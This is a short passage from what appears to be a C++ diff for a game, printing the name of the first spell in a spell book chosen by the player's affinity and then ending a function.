Game::SpellBook[player.getAffinity()].at(0).getName() << std::endl; + return 0; +}